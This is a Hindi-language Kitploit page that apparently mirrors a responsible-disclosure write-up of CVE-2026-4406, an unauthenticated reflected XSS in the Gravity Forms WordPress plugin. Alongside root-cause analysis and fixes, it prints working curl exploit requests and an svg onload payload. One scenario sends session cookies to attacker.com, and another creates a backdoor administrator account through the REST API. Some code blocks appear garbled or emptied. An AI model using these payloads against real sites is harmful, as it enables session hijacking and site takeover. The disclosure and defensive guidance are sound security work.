Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-4406 — Gravity Forms प्लगइन WordPress के लिए (संस्करण 2.9.28 तक परीक्षण किया गया) `gform_get_config` AJAX एक्शन में `form_ids` पैरामीटर के माध्यम से बिना प्रमाणीकरण के रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग (XSS) के प्रति संवेदनशील है। | Kitploit
उपकरण/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4406
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubhann1bl3l3ct3r/cve-2026-4406

CVE-2026-4406

Gravity Forms प्लगइन WordPress के लिए (संस्करण 2.9.28 तक परीक्षण किया गया) `gform_get_config` AJAX एक्शन में `form_ids` पैरामीटर के माध्यम से बिना प्रमाणीकरण के रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग (XSS) के प्रति संवेदनशील है।

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Gravity Forms <= 2.9.28 — बिना प्रमाणीकरण के Reflected Cross-Site Scripting gform_get_config form_ids पैरामीटर के माध्यम से

भेद्यता सारांश

{"success":true,"data":{"common":{"form":{"pagination":{"":null}}}}} {"success":true,"data":{"common":{"form":{"pagination":{"":null,"":null}}}}}
फ़ील्डमान
प्रभावित सॉफ़्टवेयरGravity Forms (WordPress प्लगइन)
विक्रेताRocketgenius, Inc.
भेद्यता प्रकारCWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन (Reflected Cross-Site Scripting)
CWE श्रृंखलाCWE-20 → CWE-116 → CWE-838 → CWE-79 (नीचे CWE विश्लेषण देखें)
प्रभावित संस्करण2.9.28 पर पुष्टि की गई (खोज के समय नवीनतम); पुराने संस्करण भी प्रभावित होने की संभावना
फिक्स्ड संस्करण2.9.30.1 (हॉटफिक्स)
CVSS 3.1 स्कोर6.1 (मध्यम)
CVSS 3.1 वेक्टरAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
प्रमाणीकरण आवश्यककोई नहीं (बिना प्रमाणीकरण)
उपयोगकर्ता इंटरैक्शनआवश्यक (पीड़ित को हमलावर-नियंत्रित पेज पर जाना होगा या क्राफ्टेड लिंक पर क्लिक करना होगा)
खोजकर्ताAnthony Cihan — Obviam
खोज तिथि2026-03-04
प्रकटीकरण तिथि2026-03-18
CVE IDCVE-2026-4406

Wordfence सार्वजनिक रिकॉर्ड


विवरण

WordPress के लिए Gravity Forms प्लगइन (संस्करण 2.9.28 तक परीक्षण किया गया) gform_get_config AJAX एक्शन में form_ids पैरामीटर के माध्यम से बिना प्रमाणीकरण के reflected cross-site scripting (XSS) के प्रति संवेदनशील है। यह भेद्यता इसलिए मौजूद है क्योंकि उपयोगकर्ता द्वारा प्रदान किए गए form_ids मान बिना किसी सैनिटाइज़ेशन, एन्कोडिंग, या आउटपुट एस्केपिंग के सर्वर के HTTP प्रतिक्रिया में शब्दशः प्रतिबिंबित होते हैं। प्रतिक्रिया Content-Type: text/html; charset=UTF-8 हेडर के साथ दी जाती है, जिसके कारण ब्राउज़र प्रतिबिंबित सामग्री को HTML के रूप में पार्स और रेंडर करता है, जिसमें कोई भी इंजेक्टेड स्क्रिप्ट तत्व शामिल होता है।

एक बिना प्रमाणीकरण वाला हमलावर इस भेद्यता का फायदा उठाकर लक्षित WordPress साइट के ओरिजिन के संदर्भ में मनमाना JavaScript निष्पादित कर सकता है। चूंकि gform_get_config एक्शन के लिए एक मान्य config_nonce की आवश्यकता होती है, और यह nonce हर उस पेज के HTML स्रोत में सार्वजनिक रूप से एम्बेडेड होता है जो Gravity Forms फॉर्म लोड करता है, एक हमलावर एक्सप्लॉइट अनुरोध बनाने से पहले लक्षित साइट पर किसी भी सार्वजनिक पेज का अनुरोध करके आसानी से एक मान्य nonce प्राप्त कर सकता है।

सफल शोषण से हमलावर सत्र कुकीज़ चुरा सकता है, प्रमाणित उपयोगकर्ताओं (WordPress एडमिनिस्ट्रेटर सहित) की ओर से कार्य कर सकता है, उपयोगकर्ताओं को दुर्भावनापूर्ण साइटों पर पुनर्निर्देशित कर सकता है, पेज सामग्री को विकृत कर सकता है, या एडमिनिस्ट्रेटिव खाता निर्माण के माध्यम से स्थायी पहुंच स्थापित कर सकता है।


मूल कारण विश्लेषण

संवेदनशील एंडपॉइंट```

POST /wp-admin/admin-ajax.php

root@kitploit:~
### असुरक्षित क्रिया```
gform_get_config

संवेदनशील पैरामीटर

args POST पैरामीटर एक JSON ऑब्जेक्ट स्वीकार करता है जिसमें एक form_ids ऐरे होता है। इस ऐरे के मान बिना सैनिटाइज़ेशन के JSON प्रतिक्रिया संरचना में ऑब्जेक्ट कुंजियों के रूप में उपयोग किए जाते हैं:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

root@kitploit:~
### प्रतिक्रिया व्यवहार

सर्वर `form_ids` मानों को संसाधित करता है और उन्हें प्रतिक्रिया बॉडी के अंदर JSON कुंजियों के रूप में प्रतिबिंबित करता है। प्रतिक्रिया HTML टिप्पणी मार्करों में लपेटी जाती है और `text/html` के रूप में प्रदान की जाती है:```
Content-Type: text/html; charset=UTF-8

<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->

यह शोषणीय क्यों है

  1. कोई इनपुट सत्यापन नहीं: form_ids मानों को पूर्णांक के रूप में सत्यापित, स्वच्छ या फ़िल्टर नहीं किया जाता है। सर्वर HTML टैग और इवेंट हैंडलर सहित मनमाना स्ट्रिंग सामग्री स्वीकार करता है।
  2. कोई आउटपुट एन्कोडिंग नहीं: form_ids मान बिना HTML एंटिटी एन्कोडिंग के प्रतिक्रिया बॉडी में परावर्तित होते हैं। <, >, ", और ' जैसे वर्ण बिना संशोधन के गुजर जाते हैं।
  3. HTML Content-Type: प्रतिक्रिया Content-Type: text/html; charset=UTF-8 के साथ प्रदान की जाती है, जो ब्राउज़र को प्रतिक्रिया बॉडी को HTML के रूप में पार्स करने का निर्देश देती है। परावर्तित मान के भीतर कोई भी HTML टैग ब्राउज़र के HTML पार्सर द्वारा तुरंत इंस्टैंशिएट और रेंडर किया जाता है।
  4. सार्वजनिक रूप से सुलभ Nonce: gform_get_config एक्शन के लिए आवश्यक config_nonce हर पेज पर JavaScript कॉन्फ़िगरेशन ऑब्जेक्ट (gform_theme_config) में एम्बेडेड होता है जो Gravity Forms फॉर्म लोड करता है। यह nonce सभी पेजों पर समान होता है और किसी विशिष्ट उपयोगकर्ता सत्र से बंधा नहीं होता है, जिससे इसे बिना प्रमाणीकरण वाले उपयोगकर्ताओं द्वारा आसानी से प्राप्त किया जा सकता है।

CWE विश्लेषण

यह भेद्यता कई योगदान देने वाली कमजोरियों का परिणाम है जो शोषणीय स्थिति उत्पन्न करने के लिए एक साथ जुड़ती हैं। जबकि CWE-79 CVE रिपोर्टिंग उद्देश्यों के लिए प्राथमिक वर्गीकरण है, पूरी श्रृंखला दस्तावेजित करती है कि कैसे प्रत्येक विफलता शोषण को सक्षम बनाने के लिए संयुक्त होती है।

कमजोरी श्रृंखला```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

root@kitploit:~
### CWE-20: अनुचित इनपुट सत्यापन (योगदान देने वाला)

**भूमिका:** मूल सक्षमकर्ता — दुर्भावनापूर्ण डेटा को प्रोसेसिंग पाइपलाइन में प्रवेश करने की अनुमति देता है।

`args` JSON ऑब्जेक्ट में `form_ids` पैरामीटर से संख्यात्मक फॉर्म पहचानकर्ता होने की अपेक्षा की जाती है, लेकिन यह बिना किसी सत्यापन के मनमाना स्ट्रिंग इनपुट स्वीकार करता है। न तो टाइप जाँच (`intval()`), न ही रेगेक्स फ़िल्टरिंग (`^[0-9]+$`), न ही ज्ञात फॉर्म आईडी के विरुद्ध व्हाइटलिस्ट तुलना, और न ही लंबाई प्रतिबंध लागू किए जाते हैं।

**साक्ष्य:** सर्वर बिना अस्वीकृति के HTML टैग, JavaScript इवेंट हैंडलर और मनमाना यूनिकोड युक्त `form_ids` मानों को स्वीकार और प्रोसेस करता है।```json
{"form_ids":["<svg onload=alert(1)>"]}    ← Accepted
{"form_ids":["3"]}                         ← Expected

CWE-116: आउटपुट का अनुचित एन्कोडिंग या एस्केपिंग (प्राथमिक तकनीकी विफलता)

भूमिका: मुख्य भेद्यता — XSS स्थिति का प्रत्यक्ष कारण।

जब सर्वर form_ids मानों वाला JSON प्रतिक्रिया निर्मित करता है, तो यह आउटपुट पर HTML एंटिटी एन्कोडिंग लागू नहीं करता है। HTML में विशेष अर्थ वाले वर्ण (<, >, ", ', &) प्रतिक्रिया बॉडी में बिना संशोधित पारित हो जाते हैं। PHP फ़ंक्शन htmlspecialchars(), esc_html(), JSON_HEX_TAG के साथ wp_json_encode(), या समकक्ष आउटपुट एन्कोडिंग फ़ंक्शन form_ids मानों पर लागू नहीं किए जाते हैं, इससे पहले कि वे प्रतिक्रिया में लिखे जाएं।

साक्ष्य: शाब्दिक स्ट्रिंग <svg onload=alert(document.domain)> प्रतिक्रिया बॉडी में इनपुट के समान बाइट-दर-बाइट दिखाई देती है, न कि &lt;svg onload=alert(document.domain)&gt; के रूप में।

CWE-838: आउटपुट संदर्भ के लिए अनुचित एन्कोडिंग (यौगिक)

भूमिका: संदर्भ वृद्धि — डेटा प्रतिबिंब समस्या को निष्पादन योग्य कोड इंजेक्शन में बदल देती है।

प्रतिक्रिया बॉडी में JSON-संरचित डेटा होता है, लेकिन इसे Content-Type: text/html; charset=UTF-8 के साथ परोसा जाता है। यह Content-Type घोषणा ब्राउज़र के HTML पार्सर को संपूर्ण प्रतिक्रिया बॉडी को एक HTML दस्तावेज़ के रूप में संसाधित करने का निर्देश देती है। यदि प्रतिक्रिया application/json के रूप में परोसी जाती, तो ब्राउज़र प्रतिक्रिया को सादे पाठ के रूप में प्रस्तुत करता और कोई HTML पार्सिंग नहीं होती — इंजेक्ट किए गए टैग DOM तत्वों के रूप में तत्काल होने के बजाय शाब्दिक पाठ के रूप में प्रदर्शित होते।

साक्ष्य:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

root@kitploit:~
`X-Content-Type-Options: nosniff` हेडर मौजूद है लेकिन अप्रासंगिक है क्योंकि सर्वर स्पष्ट रूप से `text/html` घोषित कर रहा है — MIME टाइप स्निफिंग को रोकने के लिए कुछ भी नहीं बचा है।

### CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन — रिफ्लेक्टेड XSS (परिणामी)

**भूमिका:** शोषण योग्य परिणाम — साकार हुई कमज़ोरी।

तीन योगदान देने वाली कमज़ोरियों का संयोजन एक रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग स्थिति उत्पन्न करता है। उपयोगकर्ता द्वारा आपूर्ति किया गया इनपुट HTTP अनुरोध से सर्वर-साइड प्रोसेसिंग के माध्यम से HTTP प्रतिक्रिया में बिना सैनिटाइज़ेशन, एन्कोडिंग, या संदर्भ-उपयुक्त Content-Type घोषणा के प्रवाहित होता है, जिसके परिणामस्वरूप पीड़ित के ब्राउज़र में मनमाना JavaScript निष्पादन होता है।

**उपप्रकार:** रिफ्लेक्टेड (टाइप 1) — पेलोड HTTP अनुरोध में शामिल होता है और बिना संग्रहण के तुरंत HTTP प्रतिक्रिया में प्रतिबिंबित होता है।

### सारांश तालिका

| CWE ID | नाम | भूमिका | अकेले शोषण योग्य? |
|---|---|---|---|
| CWE-20 | अनुचित इनपुट सत्यापन | योगदान देने वाला (मूल सक्षमकर्ता) | नहीं — खराब डेटा प्रवेश करता है लेकिन रेंडर नहीं होता |
| CWE-116 | आउटपुट का अनुचित एन्कोडिंग या एस्केपिंग | प्राथमिक तकनीकी विफलता | आंशिक रूप से — HTML रेंडरिंग संदर्भ की आवश्यकता है |
| CWE-838 | आउटपुट संदर्भ के लिए अनुचित एन्कोडिंग | जटिलता बढ़ाने वाला (संदर्भ वृद्धि) | नहीं — अनएस्केप्ड डेटा की उपस्थिति आवश्यक है |
| CWE-79 | क्रॉस-साइट स्क्रिप्टिंग (रिफ्लेक्टेड) | **परिणामी (शोषण योग्य)** | **हाँ — यह साकार हुई कमज़ोरी है** |

### न्यूनतम सुधार विश्लेषण

नीचे दी गई सूची से कोई भी **एकल** उपाय श्रृंखला को तोड़ देगा और शोषण को रोक देगा:

| सुधार | श्रृंखला कहाँ तोड़ता है | अकेले पर्याप्त? |
|---|---|---|
| `form_ids` को पूर्णांकों में टाइप-कास्ट करें | CWE-20 (इनपुट) | ✅ हाँ |
| आउटपुट को HTML-एंटिटी एन्कोड करें | CWE-116 (आउटपुट) | ✅ हाँ |
| प्रतिक्रिया को `application/json` के रूप में भेजें | CWE-838 (संदर्भ) | ✅ हाँ |

**अनुशंसा:** गहराई में सुरक्षा के रूप में तीनों को लागू करें। सबसे महत्वपूर्ण सुधार आउटपुट एन्कोडिंग (CWE-116) है, क्योंकि यह इनपुट सत्यापन या Content-Type परिवर्तनों की परवाह किए बिना वर्तमान और भविष्य के इंजेक्शन वैक्टर से सुरक्षा करता है।

---

## Wordfence सबमिशन संदर्भ

| फ़ील्ड | मान |
|---|---|
| **सॉफ़्टवेयर प्रकार** | WordPress प्लगइन |
| **सॉफ़्टवेयर स्लग** | `gravityforms` |
| **Wordfence Intel URL** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **प्रभावित संस्करण** | <= 2.9.28 (नवीनतम पुष्टि) |
| **कमज़ोरी शीर्षक** | Gravity Forms <= 2.9.28 — `form_ids` पैरामीटर के माध्यम से बिना प्रमाणीकरण के रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग |
| **CWE (प्राथमिक)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **आवश्यक विशेषाधिकार** | बिना प्रमाणीकरण |
| **पैच स्थिति** | 2.9.30.1 में पैच किया गया |

---

## प्रभावित कॉन्फ़िगरेशन

### आवश्यक सर्वर-साइड शर्तें

- Gravity Forms प्लगइन सक्रिय के साथ WordPress इंस्टॉलेशन (कोई भी फ़ॉर्म प्रकाशित)
- `gform_get_config` AJAX एक्शन पंजीकृत (प्लगइन सक्रियण पर डिफ़ॉल्ट व्यवहार)

### नॉन्स पहुंच

`config_nonce` वैश्विक `gform_theme_config` JavaScript वेरिएबल में किसी भी पृष्ठ पर एम्बेडेड है जिसमें Gravity Forms फ़ॉर्म शामिल है:```javascript
var gform_theme_config = {
  "common": { ... },
  "config_nonce": "9308d72c0a"    // ← Publicly accessible
};

यह नॉन्स निम्नानुसार पुष्टि की गई थी:

  • लक्ष्य साइट के सभी पृष्ठों पर समान (होमपेज, फॉर्म पेज, गैर-फॉर्म पेज)
  • उपयोगकर्ता सत्र से बंधा नहीं (कुकीज़ के साथ या बिना कुकीज़ के समान मान लौटाया गया)
  • प्रति-अनुरोध घुमाया नहीं गया (लंबी अवधि के लिए स्थिर)

मौजूद सुरक्षा हेडर (अपर्याप्त)

हेडरमानशोषण क्षमता पर प्रभाव
X-Content-Type-Optionsnosniffशमन नहीं करता — सर्वर स्पष्ट रूप से text/html घोषित करता है
X-Frame-OptionsSAMEORIGINक्रॉस-ओरिजिन से iframe-आधारित शोषण को रोकता है; पॉपअप/रीडायरेक्ट डिलीवरी अभी भी काम करती है
Content-Security-Policyframe-ancestors 'self';कोई script-src निर्देश नहीं — इनलाइन स्क्रिप्ट निष्पादन अप्रतिबंधित है
Referrer-Policystrict-origin-when-cross-originशोषण क्षमता पर कोई प्रभाव नहीं

प्रूफ ऑफ कॉन्सेप्ट

वातावरण

घटकसंस्करण
WordPress6.9.1
Gravity Forms2.9.28
वेब सर्वरApache (HTTP/2)
परीक्षण प्लेटफ़ॉर्मKali Linux, curl 8.x

चरण 1: एक वैध नॉन्स प्राप्त करें

लक्ष्य साइट पर कोई भी पृष्ठ अनुरोध करें जो Gravity Forms फॉर्म लोड करता है और config_nonce मान निकालें:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

root@kitploit:~
**उदाहरण आउटपुट:**```
9308d72c0a

चरण 2: एक्सप्लॉइट अनुरोध भेजें

WordPress AJAX हैंडलर पर एक POST अनुरोध सबमिट करें, जिसमें XSS पेलोड युक्त एक निर्मित form_ids मान हो:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

root@kitploit:~
### चरण 3: प्रतिबिंब का अवलोकन करें

**HTTP प्रतिक्रिया हेडर:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache

HTTP प्रतिक्रिया बॉडी:```html

root@kitploit:~
`<svg onload=alert(document.domain)>` पेलोड प्रतिक्रिया बॉडी में **बिना किसी एन्कोडिंग के शब्दशः** प्रतिबिंबित होता है। चूंकि प्रतिक्रिया `text/html` के रूप में प्रस्तुत की जाती है, ब्राउज़र SVG एलिमेंट को इंस्टैंशिएट करता है और `onload` इवेंट हैंडलर को निष्पादित करता है, जिससे लक्ष्य साइट के ओरिजिन के संदर्भ में JavaScript निष्पादन ट्रिगर होता है।

### अतिरिक्त अवलोकन

**एक साथ कई पेलोड इंजेक्ट किए जा सकते हैं** `form_ids` ऐरे के माध्यम से:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
  -F "gform_ajax_nonce=[NONCE]" \
  -F "action=gform_get_config" \
  -F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
  -F "config_path=gform_theme_config/common/form/pagination/3" \
  -F "query_string="

प्रतिक्रिया:```html

root@kitploit:~
**`config_path` फ़ॉर्म नंबर मनमाना है** — कोई भी पूर्णांक काम करता है (परीक्षण किया गया: `1`, `3`, `999`), और अमान्य कॉन्फ़िग पथ एक त्रुटि संदेश लौटाता है जो `form_ids` मान को प्रतिबिंबित नहीं करता है।

---

## शोषण परिदृश्य

### परिदृश्य 1: कुकी एक्सफ़िल्ट्रेशन के माध्यम से सत्र अपहरण

एक हमलावर एक पेज होस्ट करता है जो स्वचालित रूप से लक्ष्य से एक वैध nonce स्क्रैप करता है, फिर शोषण फ़ॉर्म को एक पॉपअप विंडो में सबमिट करता है। पेलोड सत्र कुकीज़ को हमलावर-नियंत्रित सर्वर पर एक्सफ़िल्ट्रेट करता है:

**पेलोड:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>

डिकोड किया गया JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

root@kitploit:~
यह तकनीक `this.id` सेल्फ-रेफरेंसिंग पैटर्न का उपयोग करती है ताकि रिफ्लेक्टेड एट्रिब्यूट कॉन्टेक्स्ट में कोट और स्पेस कैरेक्टर से बचा जा सके, और पूरे एक्सप्लॉइट लॉजिक को SVG एलिमेंट के `id` एट्रिब्यूट के भीतर Base64 में एन्कोड किया जा सके।

यदि कोई प्रमाणित WordPress एडमिनिस्ट्रेटर हमलावर के पेज पर जाता है, तो उनका सेशन कुकी (`wordpress_logged_in_*`, `wordpress_sec_*`) हमलावर को भेज दिया जाता है, जो फिर एडमिनिस्ट्रेटर के रूप में प्रतिरूपण कर सकता है।

### परिदृश्य 2: प्रशासनिक खाता निर्माण

उसी डिलीवरी तंत्र का उपयोग करके, पेलोड WordPress REST API या एडमिन पेजों के लिए प्रमाणित API अनुरोध कर सकता है ताकि एक नया एडमिनिस्ट्रेटर खाता बनाया जा सके:```javascript
fetch('/wp-json/wp/v2/users', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
  body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});

परिदृश्य 3: फ़िशिंग के लिए DOM टेकओवर

रिफ्लेक्टेड XSS पूरे पेज के DOM को एक भ्रामक फ़िशिंग ओवरले (जैसे, नकली लॉगिन पेज या सत्र समाप्ति प्रॉम्प्ट) से बदल सकता है, ताकि सीधे क्रेडेंशियल एकत्र किए जा सकें।


अटैक फ्लो```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

root@kitploit:~
## MITRE ATT&CK मैपिंग

| Tactic | Technique | ID | Description |
|---|---|---|---|
| Initial Access | Drive-by Compromise | T1189 | पीड़ित हमलावर-नियंत्रित पेज पर जाता है जो XSS डिलीवरी तंत्र होस्ट करता है |
| Execution | User Execution: Malicious Link | T1204.001 | पीड़ित हमलावर के पेज के लिंक पर क्लिक करता है या रीडायरेक्ट होता है |
| Credential Access | Steal Web Session Cookie | T1539 | XSS पेलोड पीड़ित के ब्राउज़र से सत्र कुकीज़ बाहर निकालता है |
| Persistence | Create Account | T1136.001 | हमलावर चुराए गए एडमिन सत्र का उपयोग करके बैकडोर एडमिनिस्ट्रेटर खाता बनाता है |
| Defense Evasion | Abuse Elevation Control Mechanism | T1548 | XSS विशेषाधिकार प्राप्त उपयोगकर्ता के सत्र के संदर्भ में निष्पादित होता है |

---

## प्रभाव आकलन

### गोपनीयता

- **सत्र कुकीज़** (`wordpress_logged_in_*` और `wordpress_sec_*` सहित) बाहर निकाली जा सकती हैं
- **CSRF नॉन्स** जो DOM में दिखाई देते हैं, बाद के API अनुरोधों के लिए कैप्चर किए जा सकते हैं
- एडमिन पेजों पर प्रस्तुत **उपयोगकर्ता PII** इंजेक्टेड स्क्रिप्ट के लिए सुलभ है

### अखंडता

- **प्रशासनिक क्रियाएं** पीड़ित की ओर से की जा सकती हैं (पोस्ट निर्माण, प्लगइन इंस्टॉलेशन, उपयोगकर्ता प्रबंधन, थीम संपादन)
- **साइट सामग्री** को संशोधित या विकृत किया जा सकता है
- निरंतर पहुंच के लिए **बैकडोर खाते** बनाए जा सकते हैं

### उपलब्धता

- प्रशासनिक खाते से समझौते के माध्यम से **साइट अधिग्रहण** उपलब्धता के पूर्ण नुकसान का कारण बन सकता है
- थीम/प्लगइन संपादक के माध्यम से **मैलवेयर इंजेक्शन** साइट को अनुपयोगी या आगंतुकों के लिए हानिकारक बना सकता है

---

## सुधार अनुशंसाएं

### Gravity Forms (विक्रेता) के लिए

1. **इनपुट सत्यापन** — प्रोसेसिंग से पहले सभी `form_ids` मानों पर सख्त पूर्णांक टाइप कास्टिंग लागू करें। किसी भी मान को अस्वीकार करें जो `^[0-9]+$` से मेल नहीं खाता:   ```php
   $form_ids = array_map('intval', $form_ids);
   $form_ids = array_filter($form_ids, function($id) { return $id > 0; });
  1. आउटपुट एन्कोडिंग — JSON प्रतिक्रिया बनाते समय wp_json_encode() को JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT फ्लैग्स के साथ लागू करें ताकि HTML-महत्वपूर्ण वर्ण एस्केप हो सकें: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    root@kitploit:~
  2. Content-Type सुधार — सभी AJAX JSON प्रतिक्रियाओं के लिए प्रतिक्रिया Content-Type को text/html के बजाय application/json पर सेट करें। यह ब्राउज़र को प्रतिक्रिया को HTML के रूप में पार्स करने से रोकता है, भले ही अस्वच्छित सामग्री प्रतिबिंबित हो: ```php header('Content-Type: application/json; charset=UTF-8');
    root@kitploit:~
  3. नॉन्स स्कोपिंग — config_nonce को उपयोगकर्ता सत्र से जोड़ने या नॉन्स जनरेशन पर रेट लिमिटिंग लागू करने पर विचार करें ताकि स्वचालित शोषण की लागत बढ़ सके।

साइट प्रशासकों के लिए (तत्काल शमन)

  1. वेब एप्लिकेशन फ़ायरवॉल (WAF) — admin-ajax.php POST अनुरोधों के args पैरामीटर में HTML टैग का पता लगाने और ब्लॉक करने के लिए WAF नियम तैनात करें जहाँ action=gform_get_config हो
  2. सामग्री सुरक्षा नीति — इनलाइन स्क्रिप्ट के निष्पादन को रोकने के लिए एक प्रतिबंधात्मक script-src CSP निर्देश लागू करें (जैसे, script-src 'self') भले ही वे प्रतिबिंबित हों
  3. अपडेट की निगरानी करें — जारी होते ही Gravity Forms पैच तुरंत लागू करें
  4. प्रशासक खातों का ऑडिट करें — किसी भी अनधिकृत जोड़ के लिए मौजूदा प्रशासक खातों की समीक्षा करें

प्रकटीकरण समयरेखा

दिनांकघटना
2026-03-04अधिकृत पैठ परीक्षण के दौरान भेद्यता की खोज
2026-03-04Wordfence (WordPress CNA) को रिपोर्ट की गई
2026-03-XXWordfence द्वारा प्रारंभिक अस्वीकृति (self-XSS के रूप में गलत वर्गीकृत)
2026-03-XXहथियारबद्ध POC और नॉन्स विश्लेषण के साथ पुनः प्रस्तुत; निर्णय उलट दिया गया
2026-03-18CVE-2026-4406 Wordfence द्वारा निर्धारित
2026-03-18विक्रेता को [email protected] के माध्यम से सूचित किया गया
2026-03-21विक्रेता ने स्वीकार किया और समीक्षा के लिए हॉटफिक्स (2.9.30.1) प्रदान किया
2026-04-02पैच सत्यापित — form_ids पर absint() इनपुट सत्यापन और Content-Type: application/json की पुष्टि भेद्यता को ठीक करने के लिए की गई
2026-04-02भेद्यता हल हो गई

संदर्भ

  • Gravity Forms सुरक्षा दस्तावेज़ीकरण
  • [Gravity Forms सुरक्षा संपर्क](mailto:[email protected])
  • CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित तटस्थीकरण
  • OWASP क्रॉस-साइट स्क्रिप्टिंग (XSS)
  • WordPress AJAX API — admin-ajax.php
  • CVE-2023-2701 — पूर्व Gravity Forms XSS (भिन्न वेक्टर)
  • CVE-2024-13377 — alt पैरामीटर के माध्यम से पूर्व Gravity Forms संग्रहीत XSS (भिन्न वेक्टर)

अस्वीकरण

यह भेद्यता एक अधिकृत पैठ परीक्षण अभियान के दौरान खोजी गई थी जो स्पष्ट लिखित प्राधिकरण के साथ हस्ताक्षरित कार्य विवरण के तहत आयोजित किया गया था। सभी परीक्षण सहमत दायरे के भीतर किए गए थे, और निष्कर्ष खोज के तुरंत बाद ग्राहक को सूचित किए गए थे। यह प्रकटीकरण जिम्मेदार प्रकटीकरण प्रथाओं का पालन करता है। कोई अनधिकृत सिस्टम एक्सेस नहीं किया गया था, और नियंत्रित प्रूफ-ऑफ-कॉन्सेप्ट सत्यापन के बाहर कोई डेटा बाहर नहीं निकाला गया था।


द्वारा खोजा गया: Anthony Cihan

टूल डाउनलोड करें